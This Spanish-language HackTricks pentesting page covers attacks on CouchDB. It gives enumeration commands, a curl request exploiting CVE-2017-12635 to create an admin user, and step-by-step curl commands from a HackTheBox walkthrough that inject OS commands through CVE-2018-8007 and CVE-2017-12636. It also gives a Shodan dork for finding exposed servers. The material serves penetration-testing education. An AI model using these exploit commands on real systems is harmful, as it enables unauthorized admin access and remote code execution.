hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

247 lines
19 KiB
Markdown

# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Información Básica**
**CouchDB** es una base de datos **orientada a documentos** versátil y poderosa que organiza los datos utilizando una estructura de **mapa clave-valor** dentro de cada **documento**. Los campos dentro del documento pueden representarse como **pares clave/valor, listas o mapas**, proporcionando flexibilidad en el almacenamiento y recuperación de datos.
Cada **documento** almacenado en CouchDB se le asigna un **identificador único** (`_id`) a nivel de documento. Además, cada modificación realizada y guardada en la base de datos se le asigna un **número de revisión** (`_rev`). Este número de revisión permite un **seguimiento y gestión eficientes de los cambios**, facilitando la recuperación y sincronización de datos dentro de la base de datos.
**Puerto por defecto:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Enumeración Automática**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## Enumeración Manual
### Banner
```
curl http://IP:5984/
```
Esto emite una solicitud GET a la instancia de CouchDB instalada. La respuesta debería verse algo así como una de las siguientes:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Nota que si al acceder a la raíz de couchdb recibes un `401 Unauthorized` con algo como esto: `{"error":"unauthorized","reason":"Authentication required."}` **no podrás acceder** al banner ni a ningún otro endpoint.
{% endhint %}
### Enumeración de Información
Estos son los endpoints a los que puedes acceder con una **GET** request y extraer información interesante. Puedes encontrar [**más endpoints y descripciones más detalladas en la documentación de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso.
* **`/_all_dbs`** Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
* **`/_cluster_setup`** Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster.
* **`/_db_updates`** Devuelve una lista de todos los eventos de base de datos en la instancia de CouchDB. La existencia de la base de datos `_global_changes` es requerida para usar este endpoint.
* **`/_membership`** Muestra los nodos que son parte del clúster como `cluster_nodes`. El campo `all_nodes` muestra todos los nodos que este nodo conoce, incluyendo los que son parte del clúster.
* **`/_scheduler/jobs`** Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas.
* **`/_scheduler/docs`** Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados `completed` y `failed`. Para cada documento, devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** El endpoint `/_node/{node-name}` se puede usar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a `/_node/_local` para recuperar esta información.
* **`/_node/{node-name}/_stats`** El recurso `_stats` devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal `_local` sirve como un alias para el nombre del nodo local, por lo que para todas las URLs de estadísticas, `{node-name}` puede ser reemplazado por `_local`, para interactuar con las estadísticas del nodo local.
* **`/_node/{node-name}/_system`** El recurso \_system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución\_.\_ Puedes usar \_\_`_local` como {node-name} para obtener información del nodo actual.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Confirma que el servidor está activo, en funcionamiento y listo para responder a solicitudes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) es `true` o `nolb`, el endpoint devolverá una respuesta 404.
* **`/_uuids`** Solicita uno o más Identificadores Únicos Universales (UUIDs) de la instancia de CouchDB.
* **`/_reshard`** Devuelve un conteo de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de re-particionamiento en el clúster.
Se puede extraer información más interesante como se explica aquí: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Lista de Bases de Datos**
```
curl -X GET http://IP:5984/_all_dbs
```
Si esa solicitud **responde con un 401 no autorizado**, entonces necesitas algunas **credenciales válidas** para acceder a la base de datos:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Para encontrar credenciales válidas, podrías **intentar** [**forzar el servicio**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Este es un **ejemplo** de una **respuesta** de couchdb cuando tienes **suficientes privilegios** para listar bases de datos (Es solo una lista de dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Database Info
Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista de Documentos**
Lista cada entrada dentro de una base de datos
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Leer Documento**
Leer el contenido de un documento dentro de una base de datos:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Escalación de privilegios de CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, podrías **crear un usuario administrador** con las credenciales `hacktricks:hacktricks` con la siguiente solicitud:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Más información sobre esta vulnerabilidad aquí**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Descripción general de la seguridad del cookie de Erlang**
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
En la documentación de CouchDB, específicamente en la sección sobre la configuración del clúster ([enlace](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), se discute el uso de puertos por CouchDB en modo clúster. Se menciona que, al igual que en modo independiente, se utiliza el puerto `5984`. Además, el puerto `5986` es para APIs locales de nodo, y lo que es importante, Erlang requiere el puerto TCP `4369` para el Demonio de Mapeo de Puertos de Erlang (EPMD), facilitando la comunicación entre nodos dentro de un clúster de Erlang. Esta configuración forma una red donde cada nodo está interconectado con todos los demás nodos.
Se destaca un aviso de seguridad crucial respecto al puerto `4369`. Si este puerto se hace accesible a través de Internet o cualquier red no confiable, la seguridad del sistema depende en gran medida de un identificador único conocido como "cookie". Esta cookie actúa como una salvaguarda. Por ejemplo, en una lista de procesos dada, se podría observar la cookie llamada "monster", lo que indica su papel operativo en el marco de seguridad del sistema.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Para aquellos interesados en entender cómo se puede explotar esta "cookie" para la Ejecución Remota de Código (RCE) dentro del contexto de sistemas Erlang, hay una sección dedicada disponible para una lectura más profunda. Detalla las metodologías para aprovechar las cookies de Erlang de maneras no autorizadas para lograr el control sobre los sistemas. Puedes **[explorar la guía detallada sobre el abuso de cookies de Erlang para RCE aquí](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Explotando CVE-2018-8007 a través de la modificación de local.ini**
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se exploró una vulnerabilidad recientemente divulgada, CVE-2018-8007, que afecta a Apache CouchDB, revelando que la explotación requiere permisos de escritura en el archivo `local.ini`. Aunque no es directamente aplicable al sistema objetivo inicial debido a restricciones de seguridad, se realizaron modificaciones para otorgar acceso de escritura al archivo `local.ini` con fines de exploración. A continuación se proporcionan pasos detallados y ejemplos de código que demuestran el proceso.
Primero, se prepara el entorno asegurando que el archivo `local.ini` sea escribible, verificado al listar los permisos:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Para explotar la vulnerabilidad, se ejecuta un comando curl, dirigido a la configuración `cors/origins` en `local.ini`. Esto inyecta un nuevo origen junto con comandos adicionales bajo la sección `[os_daemons]`, con el objetivo de ejecutar código arbitrario:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
La verificación subsiguiente muestra la configuración inyectada en `local.ini`, contrastándola con una copia de seguridad para resaltar los cambios:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Inicialmente, el archivo esperado (`/tmp/0xdf`) no existe, lo que indica que el comando inyectado aún no se ha ejecutado. Una investigación adicional revela que hay procesos relacionados con CouchDB en ejecución, incluyendo uno que podría potencialmente ejecutar el comando inyectado:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Al terminar el proceso de CouchDB identificado y permitir que el sistema lo reinicie automáticamente, se activa la ejecución del comando inyectado, confirmado por la existencia del archivo que faltaba anteriormente:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Esta exploración confirma la viabilidad de la explotación de CVE-2018-8007 bajo condiciones específicas, notablemente el requisito de acceso escribible al archivo `local.ini`. Los ejemplos de código proporcionados y los pasos procedimentales ofrecen una guía clara para replicar la explotación en un entorno controlado.
Para más detalles sobre CVE-2018-8007, consulta el aviso de mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Explorando CVE-2017-12636 con permisos de escritura en local.ini**
Ejemplo [de aquí](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Se exploró una vulnerabilidad conocida como CVE-2017-12636, que permite la ejecución de código a través del proceso de CouchDB, aunque configuraciones específicas pueden prevenir su explotación. A pesar de las numerosas referencias de Prueba de Concepto (POC) disponibles en línea, son necesarios ajustes para explotar la vulnerabilidad en la versión 2 de CouchDB, que difiere de la versión 1.x comúnmente atacada. Los pasos iniciales implican verificar la versión de CouchDB y confirmar la ausencia de la ruta esperada de los servidores de consulta:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Para acomodar la versión 2.0 de CouchDB, se utiliza una nueva ruta:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Los intentos de agregar e invocar un nuevo servidor de consultas se encontraron con errores relacionados con permisos, como se indica en la siguiente salida:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Una investigación adicional reveló problemas de permisos con el archivo `local.ini`, que no era escribible. Al modificar los permisos del archivo con acceso root o homer, se volvió posible continuar:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Los intentos posteriores de agregar el servidor de consultas tuvieron éxito, como lo demuestra la falta de mensajes de error en la respuesta. La modificación exitosa del archivo `local.ini` se confirmó a través de la comparación de archivos:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
El proceso continuó con la creación de una base de datos y un documento, seguido de un intento de ejecutar código a través de un mapeo de vista personalizado al servidor de consultas recién agregado:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
A **[resumen](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** con una carga útil alternativa proporciona más información sobre la explotación de CVE-2017-12636 bajo condiciones específicas. **Recursos útiles** para explotar esta vulnerabilidad incluyen:
- [Código de explotación POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Entrada en la base de datos de exploits](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Referencias
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}